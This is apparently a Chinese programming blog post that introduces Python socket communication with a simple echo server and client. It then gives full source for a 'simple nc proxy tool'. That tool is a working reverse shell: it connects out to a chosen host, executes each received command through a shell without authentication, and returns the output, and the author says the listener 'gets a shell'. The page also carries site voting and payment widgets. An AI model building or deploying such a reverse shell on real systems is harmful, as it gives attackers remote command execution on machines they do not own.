Python编写简易nc代理工具

socket通信

socket 的英文原义是“孔”或“插座”。作为BSD UNIX的进程通信机制,取后一种意思。通常也称作“套接字”,用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同虚拟机或不同计算机之间的通信。

在 Internet 上的主机一般运行了多个服务软件,同时提供集中服务。每种服务都打开一个 socket,并绑定到一个端口上,不同的端口对应于不同的服务。

在这里插入图片描述
连接原理:根据连接启动的方式以及本地套接字要连接的目标,套接字之间的连接过程可以分为三个步骤:服务器监听,客户端请求,连接确认。


简单例子

服务端代码:

import socket

if __name__ == '__main__':
    try:
        # 创建 socket 对象
        serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 获取本地主机名
        host = socket.gethostname()
        port = 12581
        # 绑定端口
        serversocket.bind((host, port))
        # 设置最大连接数,超过后排队,一般不超过20
        serversocket.listen(5)
        while True:
            # 建立客户端连接
            clientsocket, addr = serversocket.accept()
            print("连接地址:" + str(addr))
            # 发送消息
            info = 'Welcome My World!\n'
            clientsocket.send(info.encode('utf-8'))
            # 接收回应消息
            msg = clientsocket.recv(1024)
            print(msg.decode(('utf-8')))
            clientsocket.close()
    except Exception as e:
        print(str(e))

客户端代码:

import socket

if __name__ == '__main__':
    # 创建socket对象
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 获取本地主机名
    host = socket.gethostname()
    # 设置端口号
    port = 12581
    # 连接服务,指定主机和端口
    s.connect((host, port))
    # 接收小于1024字节的数据
    msg = s.recv(1024)
    print(msg.decode(('utf-8')))
    # 回应消息
    info = 'hello world\n'
    info = s.send(info.encode('utf-8'))
    s.close()


先运行服务端,再运行客户端:
在这里插入图片描述
在这里插入图片描述


简易nc代理工具

源代码如下:

import socket
import sys
import subprocess
import getopt


# 帮助选项
def usage():
    print("Usage: python ncat.py -t <HOST> -p <PORT>")
    print(" -l --lithen                 listen on HOST:PORT")
    print(" -t --target_ip              connect to TARGET")
    print(" -p --target_port            connect to TARGET:PORT")
    print("")
    print("[-] Examples:")
    print("[+] python ncat.py -l 12581")
    print("[+] python ncat.py -t 192.168.1.114 -p 12581")


# 服务端函数
def client_handler(ip, port):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        client.connect((ip, port))
        while True:
            rcve_data = client.recv(1024)
            command = rcve_data.decode()
            command = command.strip()
            if command == 'bye':
                client.close()
                break
            else:
                output = run_command(command)
                client.sendall(output)
    except Exception as e:
        print(e)


# 客户端函数
def server_loop(port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('', port))
    server.listen(5)
    rcve_data, rcve_ip_port = server.accept()
    while True:
        if rcve_data:
            command = input('[ncat]# ')
            if command == 'bye':
                server.close()
                break
            else:
                rcve_data.sendall(command.encode())
                data = rcve_data.recv(4096)
                print(data.decode(encoding='GBK'))


# 执行命令
def run_command(command):
    command = command.rstrip()
    print(command)
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Filed to execute command. \r\n"
    return output


# 主函数
def main():
    if not len(sys.argv[1:]):
        usage()
    flag = 0
    try:
        opts, args = getopt.getopt(sys.argv[1:], 'l:t:p:')
        flag = 1
    except getopt.GetoptError as e:
        print('[-] ERROR: ' + str(e))
        usage()
    if flag:
        for o, v in opts:
            if o == '-l':
                prot = int(v)
                server_loop(prot)
            elif o == '-t':
                ip = v
            elif o == '-p':
                port = int(v)
                client_handler(ip, port)


if __name__ == '__main__':
    main()

先运行服务端,再运行客户端,最终再服务端得到shell:
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值